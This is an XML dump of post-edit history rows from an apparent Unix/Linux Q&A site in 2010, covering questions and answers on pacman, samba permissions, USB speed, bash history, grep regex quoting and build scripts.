  <row Id="4254" PostHistoryTypeId="5" PostId="1993" RevisionGUID="54f4f963-68f5-4ac0-9472-96fd3bc32ac8" CreationDate="2010-09-15T15:41:17.263" UserId="1327" Comment="added 4 characters in body" Text="I have a package that's installed on my PC as an dependency to another package.&#xD;&#xA;&#xD;&#xA;I would like to have the package explicitly installed, but **without actually re-installing** it, or downloading any files.&#xD;&#xA;&#xD;&#xA;Is this possible?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**update**:&#xD;&#xA;&#xD;&#xA;I do not have any packages cached in `/var/cache/pacman/pkg`, which is one of the reasons I want to change the package detail without a re-install.&#xD;&#xA;&#xD;&#xA;Even If I had the packages cached, running pacman -S &lt;package&gt; would mean the whole install proccess is run, which I also want to avoid.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="4255" PostHistoryTypeId="6" PostId="2072" RevisionGUID="015e09a8-f7d1-4329-8096-0aef0adf8f70" CreationDate="2010-09-15T15:48:56.953" UserId="1327" Comment="edited tags" Text="écommandölineàégnuà" />
  <row Id="4256" PostHistoryTypeId="5" PostId="2006" RevisionGUID="361c5d95-40d0-47cb-b144-f08d64ad2330" CreationDate="2010-09-15T15:49:44.867" UserId="692" Comment="Added samba versions." Text="I have a problem where permission bits are not being enforced on a samba share using a Linux client. I have samba configured on the server to force a certain user, group and permission bits and this works as expected until I touch the file or it becomes the target of IO redirection.&#xD;&#xA;&#xD;&#xA;Here's what's happening:&#xD;&#xA;&#xD;&#xA;    user@linuxbox:~--&gt;ls -l ~/archive/foo.txt&#xD;&#xA;    ls: cannot access /home/user/archive/foo.txt: No such file or directory&#xD;&#xA;    user@linuxbox:~--&gt;touch ~/archive/foo.txt&#xD;&#xA;    user@linuxbox:~--&gt;ls -l ~/archive/foo.txt&#xD;&#xA;    -rw-rw-r-- 1 archive archive 0 2010-09-13 20:29 /home/user/archive/foo.txt&#xD;&#xA;    user@linuxbox:~--&gt;touch ~/archive/foo.txt&#xD;&#xA;    user@linuxbox:~--&gt;ls -l ~/archive/foo.txt&#xD;&#xA;    -rwxrwxrwx 1 archive archive 0 2010-09-13 20:30 /home/user/archive/foo.txt&#xD;&#xA;&#xD;&#xA;Notice when I touch the existing file its permission bits are 0777. They're supposed to be 0664 like when it was first created. How can I enforce 0664 on the existing file?&#xD;&#xA;&#xD;&#xA;I have version 3.0.24 on the server and version 3.4.7 on the client. Here's my smb.conf:&#xD;&#xA;&#xD;&#xA;    [global]&#xD;&#xA;    interfaces = egiga0&#xD;&#xA;    unix charset = UTF8&#xD;&#xA;    workgroup = workgroup&#xD;&#xA;    netbios name = foo&#xD;&#xA;    server string =	Foo&#xD;&#xA;    security = USER&#xD;&#xA;    map to guest = bad user&#xD;&#xA;    host msdfs = no&#xD;&#xA;    encrypt passwords = yes&#xD;&#xA;    &#xD;&#xA;    [archive]&#xD;&#xA;    comment = File Archive&#xD;&#xA;    path = /home/archive&#xD;&#xA;    force user = archive&#xD;&#xA;    force group = archive&#xD;&#xA;    read only = yes&#xD;&#xA;    write list = @archive&#xD;&#xA;    guest ok = yes&#xD;&#xA;    create mask = 0&#xD;&#xA;    force create mode = 0664&#xD;&#xA;    security mask = 0&#xD;&#xA;    force security mode = 0664&#xD;&#xA;    directory mask = 0&#xD;&#xA;    force directory mode = 0775&#xD;&#xA;    directory security mask = 0&#xD;&#xA;    force directory security mode = 0775&#xD;&#xA;&#xD;&#xA;" />
  <row Id="4257" PostHistoryTypeId="2" PostId="2082" RevisionGUID="833a7125-efa1-4cc3-807b-6b83d73c79f7" CreationDate="2010-09-15T15:52:47.120" UserId="1537" Text="How can I tell if my USB flash drive is running at full USB 2.0 speed? Currently I'd just like to verify that the drive is plugged into a 480 Mbps port, but in the past I've been unsure if a given device was USB 2.0 or an older revision. I'd like a way to identify its capabilities other than testing read/write speed." />
  <row Id="4258" PostHistoryTypeId="1" PostId="2082" RevisionGUID="833a7125-efa1-4cc3-807b-6b83d73c79f7" CreationDate="2010-09-15T15:52:47.120" UserId="1537" Text="Is my USB 2.0 device running at full speed?" />
  <row Id="4259" PostHistoryTypeId="3" PostId="2082" RevisionGUID="833a7125-efa1-4cc3-807b-6b83d73c79f7" CreationDate="2010-09-15T15:52:47.120" UserId="1537" Text="éhardwareàéusbà" />
  <row Id="4260" PostHistoryTypeId="2" PostId="2083" RevisionGUID="b28c886d-1172-4103-91aa-a62dd8907b7f" CreationDate="2010-09-15T16:05:28.763" UserId="1761" Text="If you are coming from Linux, you might give [PCBSD][1] a try.&#xD;&#xA;&#xD;&#xA;It is FreeBSD but with a focus on desktop polish and ease-of-use.  FreeBSD has historically been a server OS.&#xD;&#xA;&#xD;&#xA;The PCBSD installer can also install FreeBSD.  Many people find it easier to install FreeBSD using the PCBSD installer.&#xD;&#xA;&#xD;&#xA;Linux and BSD are pretty similar in that they share the bulk of the software that would run on either one of them.  To a casual desktop user, the BSD desktop will not seem that different.&#xD;&#xA;&#xD;&#xA;Big differences are (in my opinion of course):&#xD;&#xA;&#xD;&#xA;- Userland (Linux uses GNU while BSD uses BSD)&#xD;&#xA;&#xD;&#xA;- Integration (Linux is a collection of different efforts, BSD is much more unified at the core)&#xD;&#xA;&#xD;&#xA;- Packaging (Linux typically manages installed software in binary packages - BSD typically manages a &quot;ports&quot; tree that you use to build software from sources)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.pcbsd.org/" />
  <row Id="4261" PostHistoryTypeId="2" PostId="2084" RevisionGUID="bd6565a8-6364-48bc-a2a2-e73cfdeac8b8" CreationDate="2010-09-15T16:14:21.010" UserId="1762" Text="Usually using interactive `Ctrl-R`, which had been already mentioned, is the most convenient way. Alternative is to use the history expansion feature. Typing &#xD;&#xA;&#xD;&#xA;    !foo&#xD;&#xA;&#xD;&#xA;will execute the last command that starts with `foo` and&#xD;&#xA;&#xD;&#xA;    !?foo&#xD;&#xA;&#xD;&#xA;will execute the last command that contains `foo`. More information can be found in the [Bash reference manual][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gnu.org/software/bash/manual/bashref.html#History-Interaction" />
  <row Id="4262" PostHistoryTypeId="2" PostId="2085" RevisionGUID="8d5c38ee-aa86-411c-bac7-c39dfdc00494" CreationDate="2010-09-15T16:21:41.077" UserId="1761" Text="[Arch Linux KVM tutorial][1]&#xD;&#xA;&#xD;&#xA;[Installing Xen on Arch][2]&#xD;&#xA;&#xD;&#xA;[An opinion on Xen vs. KVM][3] that I agree with.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://wiki.archlinux.org/index.php/Kvm&#xD;&#xA;  [2]: http://wiki.archlinux.org/index.php/Xen_Install&#xD;&#xA;  [3]: http://blog.tilaa.nl/2010/02/xen-vs-kvm-virtualization.html" />
  <row Id="4263" PostHistoryTypeId="5" PostId="2084" RevisionGUID="3a0e7a7f-41b9-4a29-8211-941553bc42b8" CreationDate="2010-09-15T16:22:34.477" UserId="1762" Comment="added 359 characters in body; added 32 characters in body" Text="The interactive prompt invoked by `Ctrl-R`, which had been already mentioned, is the most convenient way. Additionally it's popular to remap `Up` and `Down` arrow keys to search the history for a prefix currently on the command line, however this requires some [changes to the `~/.inputrc` file][1].&#xD;&#xA;&#xD;&#xA;The classic and less interactive solution is to use shell history expansion. Typing &#xD;&#xA;&#xD;&#xA;    !foo&#xD;&#xA;&#xD;&#xA;will execute the last command that starts with `foo` and&#xD;&#xA;&#xD;&#xA;    !?foo&#xD;&#xA;&#xD;&#xA;will execute the last command that contains `foo`. More information about history expansion can be found in the [Bash reference manual][2], assuming your shell is Bash or compatible.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.org/wiki/Inputrc_for_bash_history_completion_using_up/down_arrows&#xD;&#xA;  [2]: http://www.gnu.org/software/bash/manual/bashref.html#History-Interaction" />
  <row Id="4264" PostHistoryTypeId="5" PostId="2085" RevisionGUID="cbc5ba49-3021-47ac-92cd-ff622074632e" CreationDate="2010-09-15T16:29:22.450" UserId="1761" Comment="Added RedHat info and links" Text="[Arch Linux KVM tutorial][1]&#xD;&#xA;&#xD;&#xA;[Installing Xen on Arch][2]&#xD;&#xA;&#xD;&#xA;[An opinion on Xen vs. KVM][3] that I agree with.&#xD;&#xA;&#xD;&#xA;The performance is comparable with arguments on both sides at the moment.  Time will tell which solution gets the most love (and improves most) in the long-run.  My guess is KVM.&#xD;&#xA;&#xD;&#xA;[Red Hat][4] is investing quite a lot of time, energy, money, and risk to move away from Xen to KVM.  Would they do that for no reason?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://wiki.archlinux.org/index.php/Kvm&#xD;&#xA;  [2]: http://wiki.archlinux.org/index.php/Xen_Install&#xD;&#xA;  [3]: http://blog.tilaa.nl/2010/02/xen-vs-kvm-virtualization.html&#xD;&#xA;  [4]: http://www.redhat.com/promo/rhelonrhev/?intcmp=70160000000IkySAAS" />
  <row Id="4265" PostHistoryTypeId="2" PostId="2086" RevisionGUID="f6e651d0-718a-4cb6-af2e-0520591246a0" CreationDate="2010-09-15T16:34:17.417" UserId="1762" Text="The `--color` option has been already mentioned several times, but I'd like to add that it's possible to configure the color in which the matches will be highlighted using an environment variable&#xD;&#xA;&#xD;&#xA;    export GREP_COLOR=&quot;1;33&quot;&#xD;&#xA;&#xD;&#xA;The color should be encoded using ANSI color codes, for reference&#xD;&#xA;&#xD;&#xA;    Black       0;30     Dark Gray     1;30&#xD;&#xA;    Blue        0;34     Light Blue    1;34&#xD;&#xA;    Green       0;32     Light Green   1;32&#xD;&#xA;    Cyan        0;36     Light Cyan    1;36&#xD;&#xA;    Red         0;31     Light Red     1;31&#xD;&#xA;    Purple      0;35     Light Purple  1;35&#xD;&#xA;    Brown       0;33     Yellow        1;33&#xD;&#xA;    Light Gray  0;37     White         1;37" />
  <row Id="4266" PostHistoryTypeId="2" PostId="2087" RevisionGUID="4a02b923-b804-46ba-866d-37ba1ab258bf" CreationDate="2010-09-15T16:44:56.777" UserId="1131" Text="You could check out&#xD;&#xA;&#xD;&#xA;    lsusb -v&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Somewhere I get this line for example:&#xD;&#xA;&#xD;&#xA;     Port 6: 0000.0503 highspeed power enable connect" />
  <row Id="4267" PostHistoryTypeId="2" PostId="2088" RevisionGUID="9ec4c4a9-d405-4107-aa79-1fee41d7f6b8" CreationDate="2010-09-15T16:46:44.160" UserId="1623" Text="Even simpler:&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;sed -n 17,42p &amp;lt; textfile&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;The -n flag disables the default output. The &quot;17,42&quot; addresses lines 17 to 42, inclusive. And the &quot;p&quot; command prints the current line.&#xD;&#xA;" />
  <row Id="4268" PostHistoryTypeId="2" PostId="2089" RevisionGUID="9584e935-b6f0-44d5-bca5-5e24a3852f65" CreationDate="2010-09-15T16:47:46.500" UserId="1759" Text="Does it depend on what file system I use? For example, ext2/ext3/ext4 but also what happens when I insert one of those &quot;joliet&quot; CD-ROMs with ISO 9660? I've heard that POSIX contains some sort of spec for the charset encoding of filenames?&#xD;&#xA;&#xD;&#xA;Essentially, what I wonder is if I got a UTF-8 encoded filename, what processing/coversion do I need to do before I pass it to a file I/O API in Linux?" />
  <row Id="4269" PostHistoryTypeId="1" PostId="2089" RevisionGUID="9584e935-b6f0-44d5-bca5-5e24a3852f65" CreationDate="2010-09-15T16:47:46.500" UserId="1759" Text="What charset encoding is used for filenames and paths on Linux?" />
  <row Id="4270" PostHistoryTypeId="3" PostId="2089" RevisionGUID="9584e935-b6f0-44d5-bca5-5e24a3852f65" CreationDate="2010-09-15T16:47:46.500" UserId="1759" Text="écharacteröencodingà" />
  <row Id="4271" PostHistoryTypeId="2" PostId="2090" RevisionGUID="fc288489-3ec6-4ce6-81ee-7831fd718855" CreationDate="2010-09-15T16:49:08.570" UserId="1762" Text="Even more reliable solution would be to use a monitoring tool like [Monit][1] or [god][2] that automatically detects that a process is dead and restarts it whether it happened during reboot or not.&#xD;&#xA;&#xD;&#xA;You might think that's an overkill but actually the configuration of Monit is a simple as&#xD;&#xA;&#xD;&#xA;    check process foo with pidfile /var/run/foo.pid&#xD;&#xA;      start program  &quot;foo_start&quot;&#xD;&#xA;      stop program  &quot;foo_stop&quot;&#xD;&#xA;      if 5 restarts within 5 cycles then timeout&#xD;&#xA;&#xD;&#xA;Of course the assumption is that the administrator is willing to install the monitoring tool for you so it could be chicken and egg problem :)&#xD;&#xA;&#xD;&#xA;  [1]: http://mmonit.com/monit/&#xD;&#xA;  [2]: http://god.rubyforge.org/" />
  <row Id="4272" PostHistoryTypeId="2" PostId="2091" RevisionGUID="a9024bf6-a99e-472a-b5d0-d4dd757c0b48" CreationDate="2010-09-15T16:53:14.757" UserId="1623" Text="Yes it exists, at least if you are using zsh. Just press M-p (ESC p) and you will get exactly what you are looking for." />
  <row Id="4273" PostHistoryTypeId="2" PostId="2092" RevisionGUID="8d71bf5c-43e2-46dd-a16a-5bcc720c73d1" CreationDate="2010-09-15T17:01:26.580" UserId="1762" Text="It depends on how you mount the file system, just take a look at mount options for different file systems in `man mount`. For example `iso9660`, `vfat` and `fat` have `iocharset` and `utf8` options." />
  <row Id="4274" PostHistoryTypeId="2" PostId="2093" RevisionGUID="73f54f3e-e438-4a22-86c5-6b775ce85f9e" CreationDate="2010-09-15T17:14:26.553" UserId="1768" Text="The unix/posix layer of linux doesn't care which encoding you use. It stores the byte sequence of your current encoding as-is.&#xD;&#xA;&#xD;&#xA;I think those mount options are there to help you convert specific filesystems that define a charset to your system charset. (CDROMs, NTFS and the FAT variants use some unicode variants).&#xD;&#xA;&#xD;&#xA;I wish unix defined a system global encoding, but it is actually a per user setting. So if you define a different encoding then your collegue, your filenames will show up differently." />
  <row Id="4275" PostHistoryTypeId="5" PostId="32" RevisionGUID="76c7a0cd-498b-4bf7-acb5-17633835dfc6" CreationDate="2010-09-15T17:15:54.227" UserId="1762" Comment="added 2 characters in body; edited body" Text="    alias s='sudo'&#xD;&#xA;    alias r='rake' # i'm a ruby developer&#xD;&#xA;    alias ..='cd ..' # although with autocd feature for zsh this comes packed.&#xD;&#xA;&#xD;&#xA;One of my favorites when I forget `s`:&#xD;&#xA;    &#xD;&#xA;    $ s !! # last command with super user priviledges&#xD;&#xA;&#xD;&#xA;" />
  <row Id="4276" PostHistoryTypeId="2" PostId="2094" RevisionGUID="daee6b39-26d2-4306-b490-b1f4540daa49" CreationDate="2010-09-15T17:50:53.797" UserId="1763" Text="Does anyone know if there are any upcoming book releases for Mono/GTK#?  The only book I could find on Amazon with a decent rating is over 6 years old.&#xD;&#xA;&#xD;&#xA;Thank you,&#xD;&#xA;&#xD;&#xA;Jesse" />
  <row Id="4277" PostHistoryTypeId="1" PostId="2094" RevisionGUID="daee6b39-26d2-4306-b490-b1f4540daa49" CreationDate="2010-09-15T17:50:53.797" UserId="1763" Text="Mono book recommendations" />
  <row Id="4278" PostHistoryTypeId="3" PostId="2094" RevisionGUID="daee6b39-26d2-4306-b490-b1f4540daa49" CreationDate="2010-09-15T17:50:53.797" UserId="1763" Text="émonoàébooksà" />
  <row Id="4279" PostHistoryTypeId="2" PostId="2095" RevisionGUID="581c4c5a-1e65-46e2-b34b-5240914966da" CreationDate="2010-09-15T17:54:03.490" UserId="1772" Text="Hi I'm trying to create a build script that executes these commands:&#xD;&#xA;&#xD;&#xA;    cd libiconv&#xD;&#xA;    ../../src/libiconv/configure --prefix=/home/ruben/mingw64/build/gcc-libs \&#xD;&#xA;                                 --host=x86_64-w64-mingw32 --build=x86_64-w64-mingw32 \&#xD;&#xA;    							 CFLAGS=&quot;-mtune=core2 -flto -fomit-frame-pointer -momit-leaf-frame-pointer&quot; LFLAGS=&quot;-flto -fwhopr=2&quot;&#xD;&#xA;    make -j3 -s&#xD;&#xA;    make -s install&#xD;&#xA;    cd ..&#xD;&#xA;&#xD;&#xA;It looks like this:&#xD;&#xA;&#xD;&#xA;    #!/bin/sh&#xD;&#xA;    HOST=x86_64-w64-mingw32&#xD;&#xA;    TARGET=x86_64-w64-mingw32&#xD;&#xA;    BUILD=x86_64-w64_mingw32&#xD;&#xA;    # options&#xD;&#xA;    BUILD_CORES=2 #used as argument for &quot;make -j#&quot;&#xD;&#xA;    # directories: SRC_DIR contains full source package.&#xD;&#xA;    GCC_LIBS_DIR=$BUILD_DIR/gcc-libs&#xD;&#xA;    &#xD;&#xA;    # optimized for my system.&#xD;&#xA;    BUILD_CFLAGS=&quot;\&quot;-mtune=core2 -flto -fomit-frame-pointer -momit-leaf-frame-pointer\&quot;&quot;&#xD;&#xA;    BUILD_LFLAGS=&quot;\&quot;-flto -fwhopr=&quot;${BUILD_CORES}&quot;\&quot;&quot;&#xD;&#xA;    CONFIG_OPTS=&quot;--prefix=&quot;${PREFIX}&quot; --host=&quot;${HOST}&quot; --build=&quot;${BUILD}&quot; CFLAGS=&quot;${BUILD_CFLAGS}&quot; LFLAGS=&quot;${BUILD_LFLAGS}	&#xD;&#xA;    makeopts=&quot;-s -j&quot;${BUILD_CORES}&#xD;&#xA;    		&#xD;&#xA;    # libiconv&#xD;&#xA;    cd libiconv&#xD;&#xA;    echo &quot;configuring libiconv: &quot;${CONFIG_OPTS}&#xD;&#xA;    ../../src/libiconv/configure &quot;${CONFIG_OPTS}&quot; &gt; configure.log || exit 1&#xD;&#xA;    echo &quot;building libiconv&quot;&#xD;&#xA;    make $MAKEOPTS &gt; build.log || exit 1&#xD;&#xA;    echo &quot;installing libiconv&quot;&#xD;&#xA;    make -s install &gt; install.log || exit 1&#xD;&#xA;    cd ..&#xD;&#xA;&#xD;&#xA;The thing is, the echo command shows the exact configure command I want, but when running configure it doesn't so the right thing. Something goes terribly wrong, after `CFLAGS=-mtunecore2`, when configure tries to use -flto (which is quoted!!) as an argument.&#xD;&#xA;&#xD;&#xA;What am I doing wrong?&#xD;&#xA;&#xD;&#xA;Thanks!&#xD;&#xA;&#xD;&#xA;PS: I'm running MSYS, not *real* *nix..." />
  <row Id="4280" PostHistoryTypeId="1" PostId="2095" RevisionGUID="581c4c5a-1e65-46e2-b34b-5240914966da" CreationDate="2010-09-15T17:54:03.490" UserId="1772" Text="Problematic build script with quotes" />
  <row Id="4281" PostHistoryTypeId="3" PostId="2095" RevisionGUID="581c4c5a-1e65-46e2-b34b-5240914966da" CreationDate="2010-09-15T17:54:03.490" UserId="1772" Text="éshellàébashàéscriptingà" />
  <row Id="4282" PostHistoryTypeId="2" PostId="2096" RevisionGUID="6e583dc4-e52b-4250-9cf6-e2ff1faef602" CreationDate="2010-09-15T18:41:30.710" UserId="1773" Text="Here's an example of a grep command line I've tried:&#xD;&#xA;&#xD;&#xA;    grep '(565172|565173|565175)' /var/log/cups/error_log&#xD;&#xA;&#xD;&#xA;It doesn't produce any output, even though all 3 values are in the file multiple times.&#xD;&#xA;&#xD;&#xA;I tried escaping the bars, and that improved things somewhat - the middle value was detected but not the first or last.&#xD;&#xA;&#xD;&#xA;    grep '(565172\|565173\|565175)' /var/log/cups/error_log&#xD;&#xA;&#xD;&#xA;I also tried double escapes and went back to getting no results.&#xD;&#xA;&#xD;&#xA;    grep '(565172\\|565173\\|565175)' /var/log/cups/error_log&#xD;&#xA;&#xD;&#xA;What am I doing wrong?  Thanks." />
  <row Id="4283" PostHistoryTypeId="1" PostId="2096" RevisionGUID="6e583dc4-e52b-4250-9cf6-e2ff1faef602" CreationDate="2010-09-15T18:41:30.710" UserId="1773" Text="How to make vertical bar | work in grep?" />
  <row Id="4284" PostHistoryTypeId="3" PostId="2096" RevisionGUID="6e583dc4-e52b-4250-9cf6-e2ff1faef602" CreationDate="2010-09-15T18:41:30.710" UserId="1773" Text="égrepà" />
  <row Id="4285" PostHistoryTypeId="2" PostId="2097" RevisionGUID="53088f77-6869-4b1b-92d7-1c9a7b291f7f" CreationDate="2010-09-15T18:44:40.173" UserId="1383" Text="Sometimes bash settings are such that `rm` is aliased to `rm -i` and thus requires confirmation for each file being deleted. When I work occasionally on such an account, I use `\rm` to retrieve the original behaviour of `rm` without changing user configuration." />
  <row Id="4286" PostHistoryTypeId="16" PostId="2097" RevisionGUID="53088f77-6869-4b1b-92d7-1c9a7b291f7f" CreationDate="2010-09-15T18:44:40.173" UserId="-1" />
  <row Id="4287" PostHistoryTypeId="2" PostId="2098" RevisionGUID="a0bebf57-4ff2-4940-b554-f43ba72f2f24" CreationDate="2010-09-15T18:53:04.753" UserId="1762" Text="The syntax you are trying to use belongs to extended regular expressions, so the answer is very simple, either use `egrep` or include the `-E` flag." />
  <row Id="4288" PostHistoryTypeId="5" PostId="2090" RevisionGUID="9c285517-3552-418e-859a-c81d9eed6ac0" CreationDate="2010-09-15T18:58:02.513" UserId="1762" Comment="added 2 characters in body" Text="Even more reliable solution would be to use a monitoring tool like [Monit][1] or [god][2] that automatically detects that a process is dead and restarts it whether it happened during reboot or not.&#xD;&#xA;&#xD;&#xA;You might think that's an overkill but actually the configuration of Monit is a simple as&#xD;&#xA;&#xD;&#xA;    check process foo with pidfile /var/run/foo.pid&#xD;&#xA;      start program  &quot;foo_start&quot;&#xD;&#xA;      stop program  &quot;foo_stop&quot;&#xD;&#xA;      if 5 restarts within 5 cycles then timeout&#xD;&#xA;&#xD;&#xA;Of course the assumption is that the administrator is willing to install the monitoring tool for you so it could be a chicken and egg problem :)&#xD;&#xA;&#xD;&#xA;  [1]: http://mmonit.com/monit/&#xD;&#xA;  [2]: http://god.rubyforge.org/" />
  <row Id="4289" PostHistoryTypeId="2" PostId="2099" RevisionGUID="242924e6-dd45-4b16-b136-8060ffde2334" CreationDate="2010-09-15T19:04:40.453" UserId="195" Text="If you type `!ls` then bash will look through your history and execute the most recent command that begins with &quot;ls&quot;" />
  <row Id="4290" PostHistoryTypeId="2" PostId="2100" RevisionGUID="dacd8ccf-cb13-48f6-a351-dae1ee8bd041" CreationDate="2010-09-15T19:05:49.403" UserId="1207" Text="What you are running into is the difference between basic and extended regular expressions.  From grep's manual page: &#xD;&#xA;&#xD;&#xA;&gt; In basic regular expressions the meta-characters ?, +, {, |, (, and&#xD;&#xA;&gt; ) lose their special meaning; instead&#xD;&#xA;&gt; use the backslashed versions \?, \+,&#xD;&#xA;&gt; \{, \|, \(, and&#xD;&#xA;&gt;        \).&#xD;&#xA;&#xD;&#xA;Thus, you can do one of the following:&#xD;&#xA;&#xD;&#xA;     grep '\(565172\|565173\|565175\)' /var/log/cups/error_log&#xD;&#xA;&#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;    grep -E '(565172|565173|565175)' /var/log/cups/error_log&#xD;&#xA;&#xD;&#xA;The -E flag turns on &quot;Extended&quot; regular expressions.  GNU grep also supports perl-compatible regular expressions.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="4291" PostHistoryTypeId="2" PostId="2101" RevisionGUID="b37b1657-30b3-4468-ab84-8a0c630e5cdf" CreationDate="2010-09-15T19:07:49.523" UserId="1497" Text="I would recommend http://supervisord.org/ it will supervice your process, restart it for you and has a lot of configuration and should be run as a normal user." />
  <row Id="4292" PostHistoryTypeId="6" PostId="6" RevisionGUID="c3e72ae0-4a7c-4fee-bbfd-d7f61fd82cf5" CreationDate="2010-09-15T19:13:44.707" UserId="1207" Comment="edited tags" Text="écommandölineàéshellàétipsöandötricksà" />
  <row Id="4293" PostHistoryTypeId="5" PostId="2073" RevisionGUID="2e013cde-82ac-4995-ad4b-ae0b3097a400" CreationDate="2010-09-15T19:24:33.767" UserId="1327" Comment="added 137 characters in body" Text="you could try:&#xD;&#xA;&#xD;&#xA;    cat textfile | head -n 45 | tail -n 25 &#xD;&#xA;&#xD;&#xA;**or**&#xD;&#xA;&#xD;&#xA;    cat textfile | awk &quot;NR &gt; 19 &amp;&amp; NR &lt; 46&quot; &#xD;&#xA;&#xD;&#xA;**update:** &#xD;&#xA;&#xD;&#xA;As Mahomedalid pointed out, `cat` is not necessary and a bit redundant, but it does make for a clean, readable command." />
  <row Id="4294" PostHistoryTypeId="2" PostId="2102" RevisionGUID="b7db6090-9476-45d7-a309-3c7241994a23" CreationDate="2010-09-15T19:27:45.170" UserId="1207" Text="Note that you don't define PREFIX in your script, so it needs to be defined elsewhere for this to work, but I think you want:&#xD;&#xA;&#xD;&#xA;    BUILD_CFLAGS=&quot;\&quot;-mtune=core2 -flto -fomit-frame-pointer -momit-leaf-frame-pointer\&quot;&quot;&#xD;&#xA;    BUILD_LFLAGS=&quot;\&quot;-flto -fwhopr=${BUILD_CORES}\&quot;&quot;&#xD;&#xA;    CONFIG_OPTS=&quot;--prefix=${PREFIX} --host=${HOST} --build=${BUILD} CFLAGS=${BUILD_CFLAGS}  &#xD;&#xA;    LFLAGS=${BUILD_LFLAGS}&quot;&#xD;&#xA;    MAKEOPTS=&quot;-s -j${BUILD_CORES}&quot;&#xD;&#xA;&#xD;&#xA;Notice that when you are using double-quotes that the variable will be expanded within the string (often called variable interpolation).  Also, I believe you had mismatched parens in your original script that were also likely causing you problems." />
  <row Id="4295" PostHistoryTypeId="5" PostId="2102" RevisionGUID="4e6d88f8-76fa-42da-b8c5-6e15a4e39447" CreationDate="2010-09-15T19:33:52.957" UserId="1207" Comment="added 40 characters in body" Text="Note that you don't define PREFIX in your script, so it needs to be defined elsewhere for this to work, but I think you want(**Warning: I did no testing on this.**):&#xD;&#xA;&#xD;&#xA;    BUILD_CFLAGS=&quot;\&quot;-mtune=core2 -flto -fomit-frame-pointer -momit-leaf-frame-pointer\&quot;&quot;&#xD;&#xA;    BUILD_LFLAGS=&quot;\&quot;-flto -fwhopr=${BUILD_CORES}\&quot;&quot;&#xD;&#xA;    CONFIG_OPTS=&quot;--prefix=${PREFIX} --host=${HOST} --build=${BUILD} CFLAGS=${BUILD_CFLAGS}  &#xD;&#xA;    LFLAGS=${BUILD_LFLAGS}&quot;&#xD;&#xA;    MAKEOPTS=&quot;-s -j${BUILD_CORES}&quot;&#xD;&#xA;&#xD;&#xA;Notice that when you are using double-quotes that the variable will be expanded within the string (often called variable interpolation).  Also, I believe you had mismatched parens in your original script that were also likely causing you problems." />
  <row Id="4296" PostHistoryTypeId="2" PostId="2103" RevisionGUID="b8cae7d2-82fd-4273-a268-52653e3a78b9" CreationDate="2010-09-15T19:46:40.383" UserId="1207" Text="Since sed and awk were already taken, here is a perl solution:&#xD;&#xA;&#xD;&#xA;    perl -nle &quot;print if ($. &gt; 19 &amp;&amp; $. &lt; 46)&quot; &lt; textfile" />
  <row Id="4297" PostHistoryTypeId="2" PostId="2104" RevisionGUID="13a7dd9f-fa06-493f-823e-8ad5c4d45680" CreationDate="2010-09-15T19:56:50.670" UserId="1207" Text="This is not an answer to the general question, but should probably be mentioned.&#xD;&#xA;&#xD;&#xA;Unix and Unix-like systems are often employed in multi-user environments since they are multi-user operating systems.  Because of this, administrators of such systems are often hesitant to install unknown services or software because it may lead to instability or insecurity for all of the users of the system.  Thus, I think the first steps are&#xD;&#xA;&#xD;&#xA;  1. Determine why the administrator doesn't want the service installed.&#xD;&#xA;  2. Think about whether you can accomplish the task in some way that would address the administrators concerns.&#xD;&#xA;  3. If not, determine whether the administrator's concerns are valid.  Namely, ask yourself, &quot;Could this cause instability or other users?&quot;, &quot;Could this effect performance for other users?&quot;, and &quot;Could this leave other users open to security vulnerabilities?&quot;&#xD;&#xA;  4. If the answer to all of those are no, ask yourself whether doing this without the administrators permission could get you into trouble.&#xD;&#xA;  5. If it won't or if you are willing to accept the risk, try one of the methods mentioned above." />
  <row Id="4298" PostHistoryTypeId="5" PostId="2104" RevisionGUID="1af23f30-929e-41d3-b877-df3755389ef2" CreationDate="2010-09-15T20:07:39.550" UserId="1207" Comment="added 1 characters in body" Text="This is not an answer to the general question, but should probably be mentioned.&#xD;&#xA;&#xD;&#xA;Unix and Unix-like systems are often employed in multi-user environments since they are multi-user operating systems.  Because of this, administrators of such systems are often hesitant to install unknown services or software because it may lead to instability or insecurity for all of the users of the system.  Thus, I think the first steps are&#xD;&#xA;&#xD;&#xA;  1. Determine why the administrator doesn't want the service installed.&#xD;&#xA;  2. Think about whether you can accomplish the task in some way that would address the administrator's concerns.&#xD;&#xA;  3. If not, determine whether the administrator's concerns are valid.  Namely, ask yourself, &quot;Could this cause instability or other users?&quot;, &quot;Could this affect performance for other users?&quot;, and &quot;Could this leave other users open to security vulnerabilities?&quot;&#xD;&#xA;  4. If the answer to all of those are no, ask yourself whether doing this without the administrators permission could get you into trouble.&#xD;&#xA;  5. If it won't or if you are willing to accept the risk, try one of the methods mentioned above." />
  <row Id="4299" PostHistoryTypeId="2" PostId="2105" RevisionGUID="a09e82e5-6bd3-4aa6-b428-4c2890bab203" CreationDate="2010-09-15T20:08:13.280" UserId="1777" Text="Dear all. I think Mono, and the C# language, are a great, nay, fantastic project.&#xD;&#xA;&#xD;&#xA;My question is: how prevalent is Mono in Ubuntu? How much of a penetration is it getting, and what applications run on it?&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="4300" PostHistoryTypeId="1" PostId="2105" RevisionGUID="a09e82e5-6bd3-4aa6-b428-4c2890bab203" CreationDate="2010-09-15T20:08:13.280" UserId="1777" Text="Applications that run on Mono in Ubuntu" />
  <row Id="4301" PostHistoryTypeId="3" PostId="2105" RevisionGUID="a09e82e5-6bd3-4aa6-b428-4c2890bab203" CreationDate="2010-09-15T20:08:13.280" UserId="1777" Text="éubuntuàémonoà" />
